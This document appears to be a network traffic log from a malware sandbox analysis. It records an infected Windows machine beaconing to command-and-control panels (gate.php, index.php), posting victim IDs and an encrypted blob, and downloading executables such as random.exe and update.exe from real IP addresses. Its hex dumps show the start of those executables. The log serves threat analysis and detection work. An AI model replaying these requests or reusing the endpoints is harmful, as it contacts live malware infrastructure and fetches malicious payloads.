Dec 14, 2024 14:56:49.261162996 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:49.381295919 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:51.115892887 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:49 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49956	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:51.343113899 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:51.463067055 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:52.795201063 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:52 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49958	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:51.522248983 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 32 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015203001&unit=246122658369
Dec 14, 2024 14:56:52.838510036 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49963	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:53.072081089 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:53.191858053 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:54.715243101 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:53 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49964	185.215.113.16	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:53.317162037 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 14, 2024 14:56:54.433427095 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:53 GMT Content-Type: application/octet-stream Content-Length: 1776640 Last-Modified: Sat, 14 Dec 2024 13:02:29 GMT Connection: keep-alive ETag: "675d81e5-1b1c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 60 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 68 00 00 04 00 00 56 10 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg`h@hV@M$a$$ $h@.rsrc$x@.idata $z@ $\|@lpxoosquNx~@fbgdkutwPh@.taggant0`h"@
Dec 14, 2024 14:56:54.433440924 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:56:54.433461905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:56:54.433476925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:56:54.433490992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:56:54.433505058 CET	672	IN	Data Raw: f6 cb 8f a4 ca 54 8e 6b 28 41 d2 62 f4 59 cf d0 9c 62 c1 12 b6 42 5f 05 f9 58 99 d0 24 81 ac c0 ec fd b2 16 01 bf 5e a7 9c c1 33 52 f1 b2 b0 02 30 42 53 2b e6 53 ae dd ef 40 f4 f7 70 bd 74 db 53 45 d2 37 d4 0a 84 77 1b 1b 45 89 f2 39 9e 04 e9 b4 Data Ascii: Tk(AbYbB_X$^3R0BS+S@ptSE7wE95h'kH0gH)QAkhumSx]Cr(];V:[H]$~Ij4xkl,#{Y8ih4m(nil:{5@jAYZ:BoduAhi)
Dec 14, 2024 14:56:54.433520079 CET	1236	IN	Data Raw: fb cb 66 87 6a 88 1d 9b 09 82 8d ff 70 f5 94 73 0a e3 32 4f 06 89 d5 e2 09 57 8a e1 f4 dc e3 af 2c 8c e5 68 ca 48 b4 8c f6 db f6 4a 98 4c 06 17 85 3c c5 2a c1 b9 69 35 5f 28 93 28 95 e2 8c 0a 95 b5 0c bf d1 5a fb 08 8d ea ab 6a a7 8d 53 9b 23 8c Data Ascii: fjps2OW,hHJL<i5_((ZjS#ZD8is[@a8IJ9AIAjuH["6ia^6SiRt)~1-KxfOy,4PbS\|Ey$;b`LzN1Dg
Dec 14, 2024 14:56:54.433732986 CET	1236	IN	Data Raw: ab 96 20 d8 75 90 81 b9 8c c3 30 f4 e8 32 ff 26 73 16 ac c2 b3 07 e1 b8 a9 20 8d 66 eb ae 09 2d 5c 19 d3 25 29 16 3a 05 d5 4d 1d f4 c0 82 8c 13 f0 36 cd 2b 3a e3 10 32 75 67 90 d4 20 5e 81 9b e9 a8 a7 53 b0 68 c7 15 32 02 e3 67 ed ed b9 94 2a 76 Data Ascii: u02&s f-\%):M6+:2ug ^Sh2gvDHNQObr(Pw"q\|L##shEVu#$8HilPZ@8THShD;RLBY`w80:l~Za\|%iJS0A4p6va2W*_pEJpBVZ
Dec 14, 2024 14:56:54.433746099 CET	1236	IN	Data Raw: 71 54 56 17 c0 62 b4 03 f8 a1 d6 f9 fd 08 d0 7a 74 d4 9e 79 9f 8a 99 02 44 c4 60 7b 32 45 c5 36 58 62 fc 02 d4 c9 08 e2 fe d6 02 57 10 64 8a 08 34 9b 89 cb fe a6 02 35 10 80 96 7a 2c cd 43 77 b0 c4 38 37 ac 61 64 7d fa ed 11 09 b8 48 5c 77 2a f8 Data Ascii: qTVbztyD`{2E6XbWd45z,Cw87ad}H\wyo~=Sfi-Qh-hEmi j1AuQQJP(}o?*VLVDfGj#JVNVlJQ8lTq;qV "
Dec 14, 2024 14:56:54.433759928 CET	104	IN	Data Raw: fe 00 a3 d4 f9 9f a1 fb e9 56 10 04 8c 48 4c 77 30 46 e6 13 1f 60 96 dc 71 c9 36 fc 9f 1c a3 2a 5d 48 08 5f 72 c8 20 00 94 c7 4a 51 f8 59 90 0a 70 0c c6 79 0a 85 a0 76 fe 68 a2 7e f9 b1 c8 37 18 c4 69 fb fb c4 c5 4d 3a 01 c1 76 fe 8c a1 ba 70 52 Data Ascii: VHLw0F`q6]H_r JQYpyvh~7iM:vpRD5xVfti4k-
Dec 14, 2024 14:56:54.554714918 CET	1236	IN	Data Raw: 01 4d 37 ce 10 c0 99 34 74 51 a0 7d 58 ca c9 da 80 82 96 9a f8 7c 0e 7b d2 4c 06 35 a0 61 48 fb 97 c9 11 c7 62 a9 e4 5f 8d 43 58 fb 02 2c 06 db a6 4c 0d 07 a9 79 93 06 94 8a 50 64 f1 e8 8c 0b bf 68 c2 08 18 51 4c fb 79 ca 91 79 35 84 5d fb 00 c8 Data Ascii: M74tQ}X\|{L5aHb_CX,LyPdhQLyy5]ud8Rl,sH{tJ"D?NlrG)J"H(KYc2-]\uub\bCFK\[ral.JQ9oh@*2B;"IA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49969	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:55.232883930 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:55.352778912 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:56.950299978 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:55 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49975	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:57.185390949 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:57.306868076 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:58.927201986 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49978	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:57.835402012 CET	263	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49979	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:57.836627960 CET	263	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49984	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:59.175120115 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:59.295247078 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:00.651349068 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49991	82.64.156.123	80	2200	C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:59.794807911 CET	95	OUT	Data Raw: 16 03 01 00 5a 01 00 00 56 03 01 67 5d 8e aa 21 47 a1 29 ed 51 f9 b5 7e 0c 5f 86 7e 52 e4 f6 1f 4c 43 2d 68 d0 2f a3 2a 10 0a d4 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 1f 00 0a 00 08 00 06 00 1d 00 17 00 18 00 0b 00 02 01 00 Data Ascii: ZVg]!G)Q~_~RLC-h/*5/#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50004	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:00.379872084 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 32 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015204001&unit=246122658369
Dec 14, 2024 14:57:01.715629101 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50007	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:00.884632111 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:01.004837990 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:02.765053988 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:01 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50016	185.215.113.16	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:02.064291954 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 14, 2024 14:57:03.396902084 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:02 GMT Content-Type: application/octet-stream Content-Length: 2857984 Last-Modified: Sat, 14 Dec 2024 13:56:50 GMT Connection: keep-alive ETag: "675d8ea2-2b9c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2c 00 00 04 00 00 57 bf 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ @,W+`Ui` @ @.rsrc`2@.idata 8@jwlgkyje@+<+:@jyapajhw +v+@.taggant@,"z+@
Dec 14, 2024 14:57:03.396959066 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:03.396990061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:03.397042036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:03.397077084 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:03.397110939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:03.397145987 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:03.397207022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:03.397241116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:03.397274971 CET	1236	IN	Data Raw: db 49 0c 8a 20 cb 0f cd 96 59 fe 3e af 15 fc 97 c7 04 17 a5 9a 2a 63 5d df 4c 04 e9 8a 1b f1 d4 9c 1c 0d 0b 76 71 07 52 35 17 0a f9 1b 1d 10 4b b8 f1 c9 90 a4 33 0f 22 df 53 a5 9a ff 20 dd fd 96 83 fa c9 83 ec c1 94 16 26 22 cd 10 56 96 87 e5 1d Data Ascii: I Y>c]LvqR5K3"S &"V=7J(.F16)'>F1FtiFz9E7se?^=>(9tJAFi^ms\|u07 0/Rd
Dec 14, 2024 14:57:03.517735958 CET	1236	IN	Data Raw: a8 58 c2 e6 c9 95 79 e4 e8 35 d6 7a a9 37 c6 58 f6 b0 8d 12 50 58 c3 b4 3b 30 f7 1b b6 33 97 d1 5b 87 fc aa c2 a3 02 85 cf fb d7 dc 8c 41 fc 32 aa d8 c0 7e 7b 44 c8 97 5d 59 c3 05 c1 68 43 2b 65 d0 c5 88 52 59 fb 38 bb f1 cc ed 8b 03 6a ea 39 21 Data Ascii: Xy5z7XPX;03[A2~{D]YhC+eRY8j9!\|:~UqQKp#61VY" @Adv\|lGe8zXzqVR0Hc^%?D/e/10fXLHF!pCUDK6T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50025	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:03.012262106 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:03.132837057 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:04.661926985 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	50032	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:04.767393112 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:57:06.116045952 CET	205	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>
Dec 14, 2024 14:57:07.637357950 CET	309	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 30 39 41 41 46 34 33 30 42 43 37 46 33 38 45 46 46 39 44 42 38 46 37 38 32 35 39 33 46 42 43 31 38 32 32 38 32 34 42 45 31 30 44 42 36 34 34 34 43 37 38 45 41 45 38 33 43 43 33 33 42 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93209AAF430BC7F38EFF9DB8F782593FBC1822824BE10DB6444C78EAE83CC33B
Dec 14, 2024 14:57:08.102858067 CET	354	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 155 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 31 30 30 30 30 38 35 30 31 30 31 2b 2b 2b 38 33 63 30 64 38 32 31 35 34 33 30 62 66 66 39 30 30 38 61 36 34 63 35 36 32 33 64 63 64 61 37 38 33 36 66 39 63 61 35 39 39 66 63 38 31 36 33 61 62 65 66 65 66 63 38 66 64 63 39 64 66 23 31 30 30 30 30 38 36 30 32 32 31 2b 2b 2b 38 33 63 30 64 38 32 31 35 34 33 30 62 66 62 62 35 31 63 62 32 66 64 33 33 30 37 63 39 36 62 30 63 62 33 31 63 34 66 36 64 33 66 62 64 65 36 32 62 32 66 65 61 34 38 33 23 3c 64 3e Data Ascii: <c>10000850101+++83c0d8215430bff9008a64c5623dcda7836f9ca599fc8163abefefc8fdc9df#10000860221+++83c0d8215430bfbb51cb2fd3307c96b0cb31c4f6d3fbde62b2fea483#<d>
Dec 14, 2024 14:57:09.722879887 CET	49	OUT	GET /update.exe HTTP/1.1 Host: 185.81.68.147
